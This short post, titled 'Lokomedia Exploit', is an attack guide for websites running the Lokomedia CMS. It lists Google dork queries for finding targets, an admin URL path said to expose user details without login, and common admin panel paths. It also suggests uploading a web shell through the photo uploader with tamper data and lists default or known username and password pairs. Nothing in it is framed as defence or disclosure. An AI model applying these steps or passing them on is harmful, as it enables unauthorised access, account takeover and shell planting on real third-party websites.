Lokomedia Exploit

Google Dork : inurl:"admin/foto_berita/"
Google Dork : inurl:"media.php?module="
Google Dork : inurl:/media.php?module=berita
Google Dork : inurl:/admin/content.php?module=user
Google Dork : inurl:/adminweb/

After dorking you will find some target

http://www.[target].com/admin/content.php?module=user

add: /admin/content.php?module=user

Need to look like this:

You will start editing info or you can just see info and login to page

User: admin Password: wedus
For administration panel you can use: /adminweb , /admin , /administrator

You are able to upload shell via photo with tamper data.

Default admin login for lokomedia:

admin:admin
wiro:sableng
wiros:sabdi
joko:sembung

sinto:gendeng